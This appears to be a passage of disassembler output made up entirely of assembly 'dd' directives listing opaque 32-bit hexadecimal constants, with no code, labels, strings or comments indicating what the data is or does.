		dd 54D70DF5h, 2FAC15E6h, 25E986B4h, 0EB460DBFh,	0A513465Bh
		dd 50C6801h, 0B17A707Bh, 30EC3F64h, 730E9590h, 0AA131358h
		dd 40D10309h, 5EC9681Ch, 3C8F314Fh, 8AF63E46h, 0CDAC543Dh
		dd 4201AC05h, 7D4AFA58h, 0C898D343h, 3D060F05h,	87596C1Dh
		dd 0F61C4FEBh, 205B4CDCh, 315C4B8Eh, 0F950557Eh, 0BD522B0Fh
		dd 5E4340AAh, 1FD6ADCh,	40ECFB40h, 0CE9D5DE2h, 0B65AA1B4h
		dd 0F8EAFCE7h, 6857F0AEh, 822F4CA0h, 231846D8h,	0BD056DE8h
		dd 78303607h, 5DF9C8EFh, 351886C3h, 0CFB200F3h,	46F9659Ah
		dd 0D772874Fh, 89E9DA12h, 0EAC813FFh, 0ED9774A7h, 0B2D893B7h
		dd 0EAF84B60h, 8AEFF835h, 3887518Fh, 4CBD0247h,	6066470Ah
		dd 3B7CB48Bh, 0ED025531h, 978C5044h, 2C5C8A5Dh,	4058761Ah
		dd 8059CEF0h, 21734940h, 0DEB12BB5h, 7C298DC2h,	2F7B3010h
		dd 0C3D5C660h, 0B0D23E7h, 244E68E0h, 0E9166B46h, 0A4F81052h
		dd 0A2EBF5C6h, 9E685002h, 797CBF59h, 0D8F7407Fh, 60057505h
		dd 0F1E9BC0Fh, 0B3560A0h, 8A335E43h, 7FDE0601h,	0C1C2405Ch
		dd 0CA188467h, 0E9C6290Bh, 0F60352E8h, 0B70BEA97h, 5B71E0BFh
		dd 4DEB3387h, 23406806h, 3B4ADFB5h, 21C4B1ECh, 61350045h
		dd 0B87A0E72h, 5C697005h, 3016EDB8h, 29D8EE36h,	157975Ch
		dd 0D0283783h, 72E2288Bh, 0B982D551h, 5F318D0Dh, 0C2091F3h
		dd 0C45F5826h, 0C41F2102h, 0FD19551Dh, 29716057h, 0CC42B981h
		dd 0CDF28290h, 70AFE659h, 40E802BFh, 5FF829FCh,	7488B5FCh
		dd 775C176Fh, 0F093DF8Fh, 0F238804Bh, 0BAD331B4h, 0F37FFBC4h
		dd 0C18B9F8Ah, 9244D4D0h
		dd 9C0EE06h, 65ED5116h,	0AE081663h, 86A19302h, 0A0222B2Ch
		dd 0C0DFF589h, 95032740h, 55EB4C5Ch, 0BDE0174Ah, 0FEE8EF80h
		dd 5351C700h, 0D9B514B7h, 5E4B27E9h, 825C58D6h,	4B9C70FFh
		dd 0C58AAE5Dh, 0D9D754C9h, 3A55E961h, 680D3035h, 9F357058h
		dd 79E2A6F6h, 50797513h, 40F07EC2h, 78478F76h, 0D7CC3140h
		dd 6AF18910h, 0CA827937h, 7D534A52h, 0E9C2057Eh, 759BCA0Ah
		dd 724BB4D3h, 40BB2442h, 0A4E1215h, 13F2FBABh, 1F80EF68h
		dd 2F053FF3h, 105FB777h, 27685C17h, 8AD97436h, 0EFF876B5h
		dd 0C51DF24Ah, 9FE15A5Dh, 7CE7242Bh, 2259E9AAh,	5ABD5F5Fh
		dd 94644B07h, 6226F31h,	825F4258h, 45A83C7h, 4B8ABBDh
		dd 49B82E7Ah, 85D7A592h, 0E3FF01FEh, 45977A0Fh,	0F1F68129h
		dd 6F2C7DE9h, 6B68E390h, 48762450h, 92EF1A91h, 43D9C533h
		dd 0C3F7798Fh, 0DDBCCF85h, 827A165Ah, 0B1E877h,	54ABF181h
		dd 0C12C137h, 292747B1h, 3804E1E0h, 0C7DEE941h,	0D6C952C0h
		dd 8698859Bh, 2D502C67h, 4416BA8Bh, 400122AAh, 7E4E748Ch
		dd 0B8191883h, 340B5ACBh, 752367E9h, 54558138h,	0CA2003B0h
		dd 3A52951Fh, 0B050D401h, 5E0C0A6h, 0D1C29FE1h,	0DC348CEFh
		dd 91B04D8Eh, 7182A09h,	868FC52h, 0F709C61Dh, 0A22E00DDh
		dd 906E0D4Fh, 3ED105B2h, 0F1012D25h, 800805ABh,	2EE9EF11h
		dd 0A9FF6027h, 0C171B2ECh, 4C7DF229h, 2047A805h, 6631BC61h
		dd 0B013A45Ah, 45D90C65h, 0DD626474h, 0AF250217h, 0FDEC5CBBh
		dd 48B602F5h, 5AE91399h, 0A9FD8BA9h, 0ACC377B9h, 3E7F5677h
		dd 30036E2Eh, 1AF8EA30h, 25340326h, 40B31F93h, 0C59896ABh
		dd 520B2D38h, 57FC91DDh, 0E768E581h, 48802330h,	43713DAh
		dd 0FD70168Ch, 7F95B606h, 95A5BCA6h, 0DCCD8102h, 8F32EE01h
		dd 1E97A5A7h, 3B7E39AEh, 2FAEEB0h, 0E919DF6Ah, 8948C9C6h
		dd 0CC2869FBh, 28018733h, 0E9117349h, 0E96ED1ACh, 273B48A0h
		dd 0F7862790h, 9F5DA19h, 5224EABh, 0FFE378D5h, 0B84BAB2Eh
		dd 0DE37A83Bh, 1A72D38Bh, 0FAE57513h, 0EE13CA97h, 969CB2ABh
		dd 512DC899h, 9181093h,	0FF272988h, 0F6B7369Ch,	7968506Dh
		dd 3DE32D4Eh, 0BE128C16h, 4ED1BD22h, 7419CD4h, 1B0A7418h
		dd 2B047F5Ch, 84AA1B05h, 2DA4C2D5h, 0CCB00A89h,	0A1B8C829h
		dd 8A486F02h, 7D09E975h, 0EF10F309h, 47BEC366h,	97127FEFh
		dd 0A0EB78E4h, 0B84DBBA9h, 232009AEh, 50125495h, 11C080Dh
		dd 6584E914h, 2DF43012h, 2DAC5C95h, 302F1EFDh, 0F787372Ch
		dd 0FB5C9887h, 27125944h, 39DB31C2h, 0A17FA435h, 0AA1C74E5h
		dd 0B9B6355Bh, 0FE4D6716h, 3E0C2871h, 0DB6F497Bh, 0BA518342h
		dd 0B15DADCCh, 6C06809h, 0BAF50261h, 5FE00F59h,	2F3829EFh
		dd 12D666BDh, 2501B1BBh, 7B23A00h, 6AD156D9h, 45E10BCDh
		dd 0E8BDBC34h, 993A4832h, 372AC710h, 1A92A55Ah,	0F157688Bh
		dd 63F9955Eh, 8D07BADh,	22B4271Ch, 83CB0481h, 0E2E7092Ch
		dd 185FFC08h, 0AA36DEEAh, 0F3D08210h, 50F509FBh, 9808D27Fh
		dd 1C5C9B17h, 6D768281h, 0CF87DD47h, 5D609E04h,	3186ECFFh
		dd 18C258FEh, 568EE908h, 0E7BA0714h, 0F0147C78h, 894102B7h
		dd 9867FDE1h, 5F011132h, 0A6254D33h, 0BBC6406Bh, 65213F17h
		dd 4EAD4EFAh, 11E9E3D2h, 0EB96F274h, 0EA3821EEh, 34AE7D80h
		dd 24C79506h, 2AA14DC1h, 25902E80h, 0DE318D4Ch,	1F4039B0h
		dd 0C98BEC59h, 0EB555BFBh, 639B4C90h, 0C6E6B827h, 7E112920h
		dd 0D7C1F443h, 318CC245h, 0ACA8E5D5h, 8C5F16E9h, 234EC3DDh
		dd 1FA1628Ch, 4B16310Eh, 0A7466ABBh, 5DD5120h, 234942Dh
		dd 0B0C4EF5Ah, 0F965071Dh, 0E6B10A61h, 0CF312EF1h, 0B062B289h
		dd 0F140DD7Ch, 486DBAC2h, 0AF5E9AF2h, 0CE016E01h, 176485E9h
		dd 20A0A050h, 6F28284Fh, 12B35AACh, 0BDE0FAF5h,	4DBEA76h
		dd 1068C3FEh, 0B1388C35h, 0E180D20Fh, 86C1E149h, 7BE7F6D1h
		dd 0EBF10A08h, 8BCCB30h, 0B9010E02h, 46436108h,	0C4414E2Ah
		dd 0AF37FFEEh, 40213728h, 0ACC95255h, 1E8C90F1h, 1FEE58DEh
		dd 565FF900h, 302D6851h, 0F407FC30h, 7C3BC3C1h,	160CC148h
		dd 2EEC37A2h, 99204A3h,	0A951F23Ch, 225BA6BCh, 5FADBBCh
		dd 126BF40Bh, 5187AE3Fh, 0DD7DA2B2h, 0C26B80A4h, 0F27733C8h
		dd 6073953Ah, 9783B197h, 3872A788h, 0FFA25510h,	2E491B9Eh
		dd 0B737A85Fh, 4A689A40h, 0A121AB54h, 70835053h, 7C9628Ch
		dd 7E57E451h, 0FC5A25E8h, 270D20DBh, 6C55EA83h,	0C15376FAh
		dd 3E7BF1CBh, 2B8BB93h,	0E2E126B3h, 80D8A301h, 4A817E6Ah
		dd 1009DA0Ah, 0F05AB4BFh, 0B2F6854h, 2AA56662h,	9FEF38A6h
		dd 3A13D2C8h, 0C7E5B30h, 40CF0354h, 0C5B82706h,	58292A25h
		dd 400883ABh, 257140Ch,	0AD3DCE68h, 24D65F34h, 0F85D8882h
		dd 5793E02Fh, 0B8B47375h, 5F7716FAh, 0E59A0EB7h, 14D32B61h
		dd 0D9423A4Dh, 788F4B37h, 0B01B0B81h, 8255214Ch, 8E654C1h
		dd 0E84008A6h, 3CA55035h, 4AD2497Ah, 4BD34877h,	58EB0F55h
		dd 0E1A7F289h, 0CA120E16h, 208D4C73h, 0E6801C5Eh, 0B3F6CE8Dh
		dd 0C01C6C6h, 3FDF5748h, 0FD4EF35Ah, 2668B7E0h,	61AC251Dh
		dd 7F286CB3h, 6681E2F3h, 0E2436853h, 93301ACCh,	81461003h
		dd 2B9A0BCEh, 11754896h, 19E08FEFh, 0F0290BD5h,	8D4F8E9h
		dd 4EB4F527h, 0C7327430h, 0B588B6EFh, 0D89D8958h, 4E45E159h
		dd 5073808h, 4C38A868h,	9C20814Ah, 47146B7Dh, 13063558h
		dd 28EF16E9h, 547D5502h, 7322315Ah, 0B221060Ch,	0BA1B2625h
		dd 1A485F5Eh, 19BED03Ch, 3D038601h, 0CCEC487Eh,	58909D37h
		dd 2FEA6856h, 0CAB4EC67h, 0F0A664DBh, 0AC284E5Dh, 681FDD6Dh
		dd 2F3C439Eh, 69C25B2Ch, 2591EDEh, 53A7E61h, 0BA555CF4h
		dd 0C02073DDh, 819A5259h, 0C1DD2D8Bh, 84405E91h, 0C02555E9h
		dd 52CAC527h, 0DCBF61A2h, 13082045h, 0F5F08DE9h, 5BD2DE23h
		dd 978C4C20h, 5CBFC5D2h, 0A50C30B0h, 70524A07h,	0B0610E2h
		dd 93A8F85Bh, 2EE71801h, 0E17E6986h, 6068993h, 0E35E4Bh
		dd 2997AF54h, 92DE9DFh,	0FBCEE4CCh, 0E3169F22h,	921CB302h
		dd 66752405h, 4DB9A430h, 3C9271Dh, 659F28C4h, 515EA5E1h
		dd 296CAD59h, 0F4BE1D7Eh, 89CB89AEh, 0C644EB5Ch, 0EEB916AFh
		dd 6C17628Fh, 109DA347h, 66131F68h, 0B1A2BB50h,	0BF121094h
		dd 0BBE2AF57h, 0FC49E985h, 0D2B92F0Dh, 0C8293EFDh, 943BE42Ch
		dd 9E12EE28h, 5039ABEEh, 20B21041h, 2A945368h, 3B32FC1Fh
		dd 0A0903924h, 0D6341756h, 4771EEFEh, 5F81DAFAh, 5B7D71F7h
		dd 524EC7Fh, 27649Dh, 61AE3D26h, 9AB988BFh, 25E8A454h
		dd 0B03EAC41h, 3913E6D5h, 39E95A72h, 80787A2Eh,	5362B1BFh
		dd 0F7952944h, 0B541DAEh, 0C22344Ah, 7C3CEEDBh,	8E3C9BDh
		dd 843ECEE1h, 82C4E357h, 0A0D8A1E9h, 394BFAA5h,	0C1012565h
		dd 0A57745DDh, 61C208E9h, 15FA2E22h, 720565DDh,	0AA097E1Ch
		dd 17A5A416h, 96E90B01h, 5F5E9752h, 0B756AFD4h,	0D6EBF4D1h
		dd 8055279h, 44E0AE58h,	493496FCh, 0E10E7905h, 9EC0226Dh
		dd 1E4BD090h, 6DB00989h, 0FC279C7Dh, 1194D5Ch, 2E912D03h
		dd 0F8FA1A08h, 80198C2h, 61060205h, 0E9E8F4CDh,	0DC097BE3h
		dd 2F9C0042h, 0B0697107h, 0AF7A0B16h, 8B7D0276h, 0E425EA3h
		dd 0E96EEFD6h, 6CA9D969h, 0F4D19277h, 1C5A272Fh, 115D8B0Fh
		dd 8BB8323Ah, 0ED121FA3h, 20AFD3F7h, 0D4415786h, 0D0F24C76h
		dd 0C06B7F25h, 281427EBh
		dd 7B30086Ah, 0ACE912D9h, 0E09BB4A4h, 0CA5F783Bh, 1BA88BFBh
		dd 88485756h, 26236E6Fh, 839598E9h, 6680B450h, 0F6E688F8h
		dd 78DAD65Ch, 19307090h, 2CF04107h, 3016C41Fh, 29EC82C3h
		dd 25C1C5D7h, 0D75296B0h, 95EB0180h, 5EB30FCh, 811AFA3Dh
		dd 4C76771Ah, 0B5E816EBh, 7CBDCE44h, 9C591E7Ch,	7C29CBCFh
		dd 0F42F0171h, 82AE09ECh, 0CC5804D2h, 0D790D271h, 50790BBAh
		dd 746BB0Eh, 0E9F186F4h, 0FE36FC61h, 5C80C239h,	42F20754h
		dd 8AF2D028h, 1F55C5A5h, 0B1570956h, 7E27E6E7h,	8B6DC6E8h
		dd 5DEA010Bh, 0AD817431h, 27E0175Fh, 46EF32h, 0B6BEE912h
		dd 0F5217B52h, 0BA00D89Dh, 6B7A6418h, 5AD72912h, 92E6A4AAh
		dd 150BFB72h, 461B2EE9h, 0C5545EC5h, 8E6D0476h,	89550F57h
		dd 9FA3D04Eh, 0BBC83974h, 2793BF02h, 5B38E187h,	0FE33419Bh
		dd 7A1373C1h, 3868639Ch, 0EE5F62FDh, 0B7E88828h, 68846EC5h
		dd 8FBE1B84h, 0DA277FCFh, 4B74730Bh, 0CD893875h, 0BD00B2D2h
		dd 514C8DECh, 0EC2CB42Bh, 0A830975Fh, 0FF59C22Dh, 0F181C03Dh
		dd 67EE373Dh, 12200C19h, 5A42038Dh, 5A20516Eh, 88580D27h
		dd 0ADFF871Ch, 0E3E0BA4h, 221ED367h, 7A587884h,	86002EAh
		dd 3AC31E64h, 88DC5C2h,	0C8A36B8Eh, 773ABF00h, 68552A19h
		dd 5205A109h, 62A2D426h, 3A8FEF21h, 319C4512h, 94D487DAh
		dd 7FE7AFFEh, 49D99A72h, 0C75E331Eh, 0B0018466h, 0E23530F5h
		dd 0F8F0D066h, 0C212FB81h, 0FFD7AB5Fh, 761D7A00h, 0CBFA3219h
		dd 6F25060Bh, 0E3AD8058h, 4C4C7D29h, 0E9099130h, 0F57C8EB4h
		dd 48906884h, 781028F3h, 0C5D25F4h, 810806F4h, 73EDFC07h
		dd 0FBAC1EC9h, 8546131Dh, 0F5B3BBD4h, 0E857EACBh, 0A3CA8EBCh
		dd 5A89AB86h, 0AC73AA0Bh, 0F538F9C2h, 687B706Bh, 2EE16E37h
		dd 68693CABh, 5956702Dh, 1B82BBA9h, 0DDE96BB4h,	0CA926958h
		dd 34FD79FFh, 0F9AF4301h, 2B200461h, 81404DFBh,	0E94F30CDh
		dd 0F5A5664Ah, 86C2B93Ah, 3750BB18h, 0C030454Dh, 68309170h
		dd 4F0B5C38h, 81B62DEBh, 7F93BE44h, 0B92B3E37h,	3DE984E8h
		dd 0EE4A3EBCh, 8F30C1C7h, 0FC13780Bh, 0F20F5F0Ch, 6898012Ch
		dd 5587C87h, 0ADE40645h, 0ACB9B4C0h, 31123C56h,	0C54E8C84h
		dd 0EDB5C954h, 2A70610Bh, 1A7EA48h, 6F84E908h, 6B65B33Eh
		dd 1FE9733Fh, 0CA2DAAAAh, 6FC60586h, 0A3401004h, 651594Bh
		dd 305B2AF0h, 10D1309Ch, 0E0CE6D7h, 573BA525h, 81059524h
		dd 44AA1476h, 5AF9A8DAh, 523213E8h, 82D76F1Ah, 0D6A2E954h
		dd 934C25E1h, 7B7DAF8Ah, 0F0C3E415h, 88EC5DBCh,	0F1D3A34Fh
		dd 0A41E8B11h, 0F7B505BAh, 0E104ABD8h, 68021290h, 86A21542h
		dd 0C101D172h, 802E07E3h, 8221C863h, 0EC3360B5h, 4B279C8Dh
		dd 7BFD4402h, 125FD492h, 5FA6C2E5h, 81DD192Bh, 0FED88C8Bh
		dd 7BABB62Eh, 30792030h, 4FB759B6h, 0C70A4202h,	7C7D28B9h
		dd 0DA01586Ah, 7D314ACEh, 1814A9CCh, 877C3F88h,	0A0C8336Bh
		dd 54D94E9h, 0C9DE8188h, 497ADA4Ah, 96DFEEABh, 0C4D4BD41h
		dd 197D5Ah, 4CBF00C8h, 95B2C01h, 93B81D38h, 0EF680040h
		dd 781D65C2h, 72BF0CC1h, 24833ECEh, 0ADEAE33Fh,	3BE0C04h
		dd 0DBC33993h, 505016FCh, 0B684ABB8h, 3A6CD1BFh, 67BA0440h
		dd 9035C216h, 1B49E0A2h, 65D0BB22h, 910C2F40h, 0E9244303h
		dd 2D921476h, 8B6991ABh, 0DC77FE80h, 0FD7AC9EAh, 7E38D60Bh
		dd 0EFBCF541h, 0B41E92Fh, 9F0994C8h, 0B70C8FC5h, 701BFE4h
		dd 5A08EE5Fh, 4564C64Ah, 0BDFBDCBDh, 27117C1Ch,	62753AF7h
		dd 7B2B7F29h, 785B8E50h, 0F8AF1A84h, 2EE9A86Dh,	85942FC7h
		dd 80BB73AAh, 6648E2AEh, 0F40C032Dh, 93D62560h,	0FC9DF207h
		dd 0D2DEE981h, 5EEF6424h, 8664E902h, 81509836h,	0C804C7B2h
		dd 0B85E9337h, 50B5CD49h, 0B0EEE0B3h, 89B30184h, 0EBC0D3F6h
		dd 66B17B06h, 0C3CCE5D5h, 0D8281C6Dh, 0E9F0025Bh, 0C5F71AD2h
		dd 34FB8041h, 0F2013E5Ch, 0E9AE910h, 3C7D592Dh,	889B9EACh
		dd 501301A3h, 41257DBEh, 7A61C048h, 68552122h, 257A71E6h
		dd 0F5081152h, 0C3222707h, 0B50031E5h, 0B0E828A6h, 0F603F1A4h
		dd 8EAACC50h, 0D4EB65D7h, 7D91F868h, 802AD461h,	69D49C2h
		dd 0AEEA8F71h, 0D7CE4AC5h, 0CC5F0B93h, 0AFF54F0Eh, 6D673AD0h
		dd 0F0055018h, 0D94818B8h, 4B5FA879h, 4E57662Eh, 0BF5D4AFh
		dd 0B418BFE9h, 5B240BF2h, 0C582044Ah, 54731A45h, 0EFE90422h
		dd 28F3FFF0h, 8E68B88Bh, 3B1812E2h, 544442C5h, 4B8C2444h
		dd 8F32892Ch, 0E23F6855h, 0C7371F36h, 0E009FF6Bh, 1082FF5Fh
		dd 2D48AD57h, 89BEC649h, 349019Fh, 0B10F9637h, 21D6088Eh
		dd 30AA2B28h, 33282E87h, 0C5B0D3F3h, 0CC2DE9B2h, 0DD925767h
		dd 0EE574A8Eh, 0B4C9904h, 0C1FFCDAFh, 6F536E46h, 669F5F01h
		dd 85F56CCFh, 5FFEEE64h, 34D5F9C4h, 0C9BF0A07h,	0E438522Eh
		dd 0B80038DCh, 0BF5548Eh, 42F70F2Dh, 2EE977CBh,	9685C477h
		dd 0AEA408FBh, 80EDD10Bh, 0A777AC55h, 40839820h, 5055F0Bh
		dd 3A4823C5h, 74134B8h,	0AB2AF021h, 0A46E2279h,	133E164Dh
		dd 0DF68174h, 460EFA19h, 7E71C6DCh, 81855FF0h, 7053F7Bh
		dd 5C7DC1DEh, 8EE1004h,	0C57788D2h, 0E2338100h,	9109459h
		dd 0EA6685Bh, 9F805D44h, 0F1266471h, 7F137C0Ah,	0EB51FBBDh
		dd 0E83456D0h, 27AB554h, 13AA509Dh, 0E18D70D6h,	6C30E4F7h
		dd 0E92C36F2h, 1BA4C4CDh, 1F32D14h, 55B25251h, 0CB6FD328h
		dd 78321695h, 0BA96E6B3h, 27588F8Ch, 19FFB668h,	1CEBA667h
		dd 0CE04E56Fh, 938F94EDh, 0CE0560A4h, 0EDA14AD6h, 8C2A986Fh
		dd 9F587140h, 77141075h, 0F3B9A38h, 741251F8h, 1CA6A8E6h
		dd 5A4D097h, 3295E38Fh,	0E4B6F131h, 46FC7EE4h, 0C1FC294Ah
		dd 45B0840h, 391BCB05h,	400ABC2Dh, 874E5F07h, 0DBED8BBh
		dd 6B14AFD3h, 1A951728h, 80450AFh, 0C0A9C04Fh, 6100EC66h
		dd 0F37FC735h, 24A42D59h, 3A4AE8FCh, 876EE5A6h,	66C386D3h
		dd 0D19F08C0h, 2EF5C21Fh, 0C302410Ah, 0C049DE2Bh, 4DA6FC49h
		dd 0A413EA9Ah, 0D890A598h, 5751D013h, 9F0E2BB6h, 6851205Ah
		dd 9F263F04h, 6AE04AE2h, 8216355Fh, 0E8138640h,	25A4CBABh
		dd 0CE605DEFh, 0E916D701h, 80EDF925h, 0D15CE300h, 62B9513Ch
		dd 9C7E0926h, 1E2CC100h, 27E9A17Ah, 0C5445D9h, 64BD064Fh
		dd 7F679D7Bh, 0E90B2BA9h, 98FD8F7h, 72EA6845h, 12098166h
		dd 8546886Ah, 2BD9DB08h, 0F6029B11h, 50BE1681h,	0E8A563E0h
		dd 7BF5DAFBh, 62556DCCh, 8685603h, 3D534675h, 0B32F56B5h
		dd 0FA398148h, 8FF7F5C7h, 294A96E0h, 5F75C2F9h,	5CF65CE9h
		dd 0FDBEF587h, 0EB21FAD0h, 0D529C5Dh, 0EA21200Bh, 8010D855h
		dd 162324D7h, 0F04D3F7Eh, 216D8CDh, 57E01E60h, 202F315Ch
		dd 0E921300Ch, 0CD503B36h, 3BA94108h, 8708B509h, 0A7925104h
		dd 0B69055F0h, 735B3D68h, 5DF3768Ch, 2D046C4Ch,	0E87A8C62h
		dd 0E955C113h, 5073F8DFh, 313A680Bh, 6F5465D2h,	3298EEE8h
		dd 5E5AED1Ch, 96A956D6h, 89EC0841h, 15E918EAh, 0D0BB32DCh
		dd 78536B18h, 4B4205D0h, 1853C0F0h, 4F48331Bh, 7040125Ah
		dd 0C87AC88Dh, 57956C3Eh, 3D4D612h, 0B23C7082h,	8C108701h
		dd 0D27BC292h, 83D298FCh, 49DA260Ah, 0E0CBA224h, 7646BF25h
		dd 6A54DE9Dh, 788B02B9h, 0FA607EF0h, 840433C7h,	0E7C3E94Eh
		dd 0DE6EF8EAh, 0D0AE7193h, 5A4D2920h, 0E1011076h, 6E744FF6h
		dd 0D13BD9F7h, 358A7A5h
		dd 6C641C5Fh, 0EB30D278h, 50EBFC16h, 0BD790B9Fh, 0E5499BECh
		dd 0F7400E5Ah, 2F4B7ED0h, 28982052h, 10E0659h, 1C4F1D35h
		dd 0C1E80D7Bh, 9361F21Bh, 5F8A6E19h, 4C590F3Eh,	2CC22B10h
		dd 55AF2629h, 0EE5DEE84h, 0BEF166ECh, 0DF902F40h, 3B0F50F5h
		dd 0E50F37CEh, 187B3266h, 0D1867B0h, 221DD8B7h,	0ED02A4E7h
		dd 687D1BF4h, 10274331h, 490A7A1Eh, 0CB503CBFh,	0B65500EBh
		dd 0BBEE8058h, 213FCEE6h, 7AB49C66h, 0BBFE61Dh,	825AF528h
		dd 0EB884Fh, 0B04BE95Bh, 0D2661B9Dh, 0CD94D7E4h, 26D2F4B0h
		dd 83A538EBh, 1677DAF7h, 8019B63Dh, 929162Dh, 0FB97D831h
		dd 475D4954h, 6DB82FD7h, 669FE368h, 9C8C80C4h, 9E8082DAh
		dd 3EAE0467h, 0B9533F6h, 25ADEC8Fh, 3690BAFh, 5EF3C8FEh
		dd 286F169Fh, 8286C133h, 5D744267h, 0FBF66B8Bh,	6D7C9ED1h
		dd 16CDAC50h, 129FC1Ah,	0BD050F12h, 0A30C8219h,	5F501B45h
		dd 882FED8h, 796C7840h,	0E94C6904h, 0A6EE3494h,	54247BF6h
		dd 0FE525255h, 0D57B88BEh, 892B4E6Dh, 0B9B82E8Fh, 0ADF0FC96h
		dd 0FEEB8089h, 0E1A6CE45h, 364E7501h, 0B970215Dh, 780E6060h
		dd 0D94B18BDh, 6AF9794Fh, 1E90861h, 0BE8DFFFDh,	5E82C9DCh
		dd 6D7A4C0h, 0EE5CA476h, 17DA736Ch, 15F0F7B7h, 3E07F381h
		dd 0C3C6E64Fh, 0E7D16FEEh, 0F5DDB3D2h, 61F5E146h, 0F2958282h
		dd 407DE739h, 5C479FC1h, 5A278A7Bh, 3FBF5840h, 17B40300h
		dd 58956855h, 0DE0E4D10h, 3245EB1Eh, 23C84D60h,	705AB868h
		dd 0E2AAE524h, 7F8D8463h, 9403AA12h, 0D902E344h, 0D7BDEC4Ch
		dd 7E6E1089h, 0B2013F7Eh, 5136E12Ch, 0BABA883Eh, 98B4D2BDh
		dd 37D4147h, 0C98856BBh, 720B3534h, 0D7CE10E6h,	58B44265h
		dd 271BADBEh, 226B8FD8h, 6159CB31h, 0F73043EEh,	0B905F724h
		dd 0B6520292h, 7017B00Fh, 0C7142599h, 540B546h,	0A7443999h
		dd 0E9D80104h, 0B8AD953Ah, 0FA2718h, 286004D5h,	0E42C74E8h
		dd 2DC7BD93h, 2836C06Fh, 0C4B753D8h, 0BF5BF80Ah, 92981572h
		dd 785857B1h, 583E6EB5h, 6DA30DF2h, 6227AF94h, 4132282h
		dd 0C1DA83F6h, 8053FE0Bh, 608C0FE6h, 0E901245Ch, 0CD429572h
		dd 6186CE7Dh, 0C58051A7h, 0D7EDCC01h, 367C073h,	0A9F4D64Ah
		dd 0EAF83CE1h, 98D07301h, 0BC4C25D9h, 0A4AF6AD3h, 0F090B920h
		dd 0C47C6768h, 0BB66DC69h, 55C51334h, 0DF83844Bh, 5854F182h
		dd 5FFD8901h, 0FCD9570h, 1BC93373h, 0BFFCD7E5h,	0E6924CA2h
		dd 0D3C209B4h, 7BEC5DFEh, 9F7AD120h, 0C640597Eh, 4AD8448Dh
		dd 0B4C4AF61h, 1EE90802h, 3C54D9D5h, 0C181682Ah, 6401A492h
		dd 3D8306Ch, 12EB4844h,	4A905E0h, 12593D80h, 11D504AAh
		dd 0A9601321h, 0BC6E9F68h, 81126B30h, 7F6484F7h, 0AC674C53h
		dd 5303551Fh, 3313FBBh,	0B6682030h, 0BE6941EAh,	49A351B0h
		dd 0AD44F357h, 6E9FFEE9h, 0ECBF71C4h, 348DADC4h, 2E1980BAh
		dd 0BA91A0A0h, 0E1C02DE3h, 0CF37C058h, 31E27688h, 40D7B27Dh
		dd 9428B24Bh, 0C3769430h, 0EAE1EE92h, 305B36A4h, 3F5B836h
		dd 354E910Dh, 0C5FC0BF1h, 0EE3BFF2Ch, 97FE4A3Ch, 0BDB93CC8h
		dd 80695782h, 41D86FEAh, 2B0B4105h, 877505BAh, 0B59AB91Ch
		dd 682C1BF3h, 4F5262C2h, 276CC575h, 39341E75h, 6882E1F7h
		dd 0B4E9761Bh, 5B2DE150h, 6CA7FC59h, 72965432h,	0F749EC89h
		dd 0C84B5113h, 11997CFAh, 28EC15Fh, 463DFB4Bh, 89AEBC6Eh
		dd 57D35F5Ch, 60B0F549h, 0D54F29E9h, 0FD728BD7h, 68D3A181h
		dd 8C2A19F9h, 0EF4B1097h, 5925A0B7h, 200AEDDDh,	0E93C5532h
		dd 6B965B00h, 0F15D5AB4h, 20EC3BB5h, 57CCF102h,	0C94007ECh
		dd 130931E8h, 1CB2968h,	0FF333A58h, 0F78F2247h,	0A5B8B740h
		dd 9D65083Fh, 0E6E4807Fh, 58862E89h, 5F105E71h,	5EBE4E78h
		dd 0C0839629h, 11CF8148h, 6386181Dh, 3A97E780h,	69E921AAh
		dd 2218E2CDh, 0E59FD045h, 84311029h, 0B306BC5Fh, 0F1CD60F8h
		dd 2230E0C0h, 49204E2Ah, 657D5B46h, 886665B0h, 0F097F93Fh
		dd 8002B062h, 0C00AB649h, 4B7FF63Bh, 88926BBEh,	8560CCF3h
		dd 7ECEF924h, 0F5C9C2C9h, 8F4B77C6h, 0E984CFF6h, 3A63B1FCh
		dd 68D542FAh, 83514236h, 74196B89h, 0F55B514Eh,	54F33FBEh
		dd 6E38BA6Eh, 56B75E57h, 0BF206F90h, 5AB71663h,	0FCD7F72Eh
		dd 96E44316h, 0D3500407h, 0B925682Ch, 62F6851Bh, 0C091B3FBh
		dd 54634E14h, 182D3D40h, 0AC7D7096h, 2F9F4848h,	12CA40Dh
		dd 6CAF3458h, 317C00B0h, 0C9042590h, 65473CFBh,	0EEFE4F81h
		dd 0C017CC0h, 1F39E9C8h, 6003E27Fh, 0C17B7E69h,	0FA6014EAh
		dd 0D7016078h, 96B3974h, 36CAF4D9h, 838203B4h, 0F47C8F7Bh
		dd 3A298844h, 8002C32Eh, 0D537255Bh, 0AE56A684h, 0F30338F2h
		dd 364A4B45h, 0D2A1AEFCh, 5CF14CC4h, 0E73A411Fh, 20C6F12h
		dd 4F7B490Eh, 2CFC39C1h, 16BE4BACh, 824AF822h, 0C0F855D9h
		dd 80382AE3h, 0DD60F75Dh, 0EFF58104h, 98B3001h,	4A5F9E0Ch
		dd 4AE0595Ah, 4E56B542h, 4FE8CF0Ah, 47146201h, 0A0A5570Ch
		dd 137998DCh, 5B0F8478h, 430410B0h, 2F2CB7FCh, 9539E652h
		dd 0F8EB357Ch, 6FAB45BAh, 39F4E121h, 0D4CF312Eh, 83A72B05h
		dd 0E2BB2F84h, 0E53E8ABDh, 34E4EEAFh, 0EBBCBA67h, 1EBE78C4h
		dd 0BC654C21h, 0BD69E48h, 12705FAh, 0F8DFAFBh, 0D21D8E1h
		dd 31C30810h, 585B060Bh, 729F07E9h, 8041B705h, 0E5C71FEFh
		dd 0E7C3F6B5h, 36AF9437h, 52E6FE59h, 0C296ADB6h, 0FA3FC4AAh
		dd 0B64E2302h, 0C11EE229h, 536D41D9h, 79788305h, 0FED1AB4Dh
		dd 0CDE08A73h, 0BA992AE9h, 97F77979h, 555B9A77h, 0E984047Bh
		dd 70ABC75Ah, 412C687Ah, 0CD0A019Bh, 0A2259AB9h, 5480B3CAh
		dd 2304018Eh, 72858FE9h, 50701C8h, 834B4AFCh, 0C31402DFh
		dd 0E62FE1CDh, 2535E777h, 0E4AA82B0h, 0DA15EB9Dh, 528009ADh
		dd 7C7E3533h, 0C400EE90h, 490FDB30h, 29E94091h,	950C55Bh
		dd 4D836856h, 0CCFA54B6h, 0BB0079F8h, 4C931443h, 187CCAB8h
		dd 0C631533Ch, 5D00560Dh, 0C43546E8h, 9738923Fh, 3C400BE2h
